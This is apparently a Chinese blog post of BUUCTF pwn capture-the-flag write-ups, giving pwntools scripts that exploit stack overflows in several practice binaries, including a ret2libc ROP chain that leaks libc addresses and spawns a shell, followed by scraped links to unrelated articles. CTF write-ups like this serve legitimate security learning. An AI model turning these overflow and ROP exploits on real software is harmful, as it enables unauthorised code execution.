pwn难啊

1、test_your_nc

测试你nc,不用说,连上就有。

2、rip

ida中已经包含了system函数:

溢出,覆盖rip为fun函数,peda计算偏移为23:

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1') flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr) #print p.recv()
p.sendline(payload)
p.interactive()

3、warmup_csaw_2016

ida中,可以看到,存在溢出

使用peda计算偏移为72

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016') catflag_addr = 0x40060d payload = 'A'*72 + p64(catflag_addr) #print p.recv()
p.sendline(payload) p.interactive()

exp

4、pwn1_sctf_2016

先check一下文件

文件开启了NX。使用ida查看:

程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”

在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。

输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',29641)
#p = process('./pwn1_sctf_2016')
#p = remote('xxxxx',xxxx) catflag_addr = 0x8048f0d payload = 21*'I' +'A'+ p32(catflag_addr) #print p.recvuntil('yourself:')
p.sendline(payload) p.interactive()

exp

5、ciscn_2019_c_1

先check一下,开启了Nx和Relro

ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc

在encrypt()函数中发现gets函数,这个是一个溢出点

可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)

注意encryt()函数会修改我们的payload,所以第一位用'\0'避开。

偏移为:0x50+8

 1 #!python
2 #coding:utf-8
3
4 from pwn import *
5 from LibcSearcher import *
6
7 context.log_level = 'debug'
8 context.arch = 'amd64'
9
10 elf = ELF('./ciscn_2019_c_1')
11 puts_got = elf.got['puts']
12 puts_plt = elf.plt['puts']
13 main_addr = elf.sym['main']
14 ret = 0x4006b9
15 pop_rdi = 0x400c83
16 sh = 0
17 lib = 0
18
19
20 def main(ip,port,debug):
21 global sh
22 global lib
23 if debug == 1:
24 sh = process('./ciscn_2019_c_1')
25 else:
26 sh = remote(ip,port)
27
28 sh.sendlineafter('choice!\n','1')
29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
30 sh.sendlineafter('encrypted\n',payload)
31 sh.recvline()
32 sh.recvline()
33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
34 libc = LibcSearcher('puts',puts)
35 libcbase = puts - libc.dump('puts')
36 binsh = libcbase + libc.dump('str_bin_sh')
37 sys_addr = libcbase + libc.dump('system')
38 sh.sendlineafter('choice!\n','1')
39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
40 sh.sendlineafter('encrypted\n',payload2)
41 sh.interactive()
42
43 if __name__ == '__main__':
44
45 main('node3.buuoj.cn',27020,0)

exp

6、ciscn_2019_n_1

先check一下,开启了NX和RELRO

查看字符串,能看到,或许是和flag相关

可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag

通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

from pwn import *

#context.update(arch = 'i386', os = 'linux', timeout = 1)

p = remote('node3.buuoj.cn',26929)
#p = ('./ciscn_2019_n_1') v2_addr = 0x41348000 payload = 0x2c*'a' + p64(v2_addr) print p.recv()
p.sendline(payload) p.interactive()

exp

7、ciscn_2019_en_2

同上5

待续。。。。

buuctf pwn wp---part1的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  3. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  4. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  7. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  8. [BUUCTF]PWN——babyfengshui_33c3_2016

    babyfengshui_33c3_2016 附件 步骤: 例行检查,32位程序,开启了cannary和nx 本地运行一下看看大概的情况,熟悉的堆的菜单布局 32位ida载入,看main函数 add ...

  9. [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

    roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...

  10. [BUUCTF]PWN——[ZJCTF 2019]EasyHeap

    [ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...

随机推荐

  1. Linux 内核和 Windows 内核有什么区别?

    Windows 和 Linux 可以说是我们比较常见的两款操作系统的. Windows 基本占领了电脑时代的市场,商业上取得了很大成就,但是它并不开源,所以要想接触源码得加入 Windows 的开发团 ...

  2. HTML+CSS+JS速查手册下载

    下载链接:https://files.cnblogs.com/files/waterr/HTML_CSS_JS%E9%80%9F%E6%9F%A5.zip

  3. spring扩展点整理

    本文转载自spring扩展点整理 背景 Spring的强大和灵活性不用再强调了.而灵活性就是通过一系列的扩展点来实现的,这些扩展点给应用程序提供了参与Spring容器创建的过程,好多定制化的东西都需要 ...

  4. 解决windwos系统80端口被暂用无法发布(NGINX、TOMCAT、IIS)

    原因: 一个操作系统有0-65535个端口,但是一个端口只能被一个应用程序使用.所以80端口只有一个,当开发发布时想用应用NGINX,TOMCAT,IIS发布时,如果有程序占用了,就无法使用了. 解决 ...

  5. JavaScript 模拟 sleep

    用 JS 实现沉睡几秒后再执行,有好几种方式,但都不完美,以下是我感觉比较好的一种方式 function sleep(time) { return new Promise((resolve) => ...

  6. 清除浏览器默认样式的reset.css(转载于reset.css的官方)

    /* http://meyerweb.com/eric/tools/css/reset/ v2.0-modified | 20110126 License: none (public domain) ...

  7. ”capslock+“ 一款超级文本编辑外挂

    "capslock+" 一款超级文本编辑外挂 彻底释放大写锁定键"caps lock" 潜力的强大工具 一.基础功能 CapsLock按键与以下按键的组合 实现 ...

  8. 探索 .NET Core 依赖注入的 IServiceProvider

    在上一篇文章中,我们学习了Microsoft.Extensions.DependencyInjection中的IServiceCollection,包括服务注册转换为ServiceDescriptor ...

  9. GNS3通过“云”连接到虚拟机实验

    GNS3通过"云"连接到虚拟机实验并使用wireshark工具对数据分析 观看本文之前注意!!!!! 做这次实验,我所遇到的问题,会全部写在文章结尾,如果读者们遇到问题,可查看. ...

  10. 2020年12月-第01阶段-前端基础-认识WEB

    认识WEB 1.认识网页 网页主要由文字.图像和超链接等元素构成.当然,除了这些元素,网页中还可以包含音频.视频以及Flash等. 思考: 网页是如何形成的呢? 总结 网页有图片.链接.文字等元素组成 ...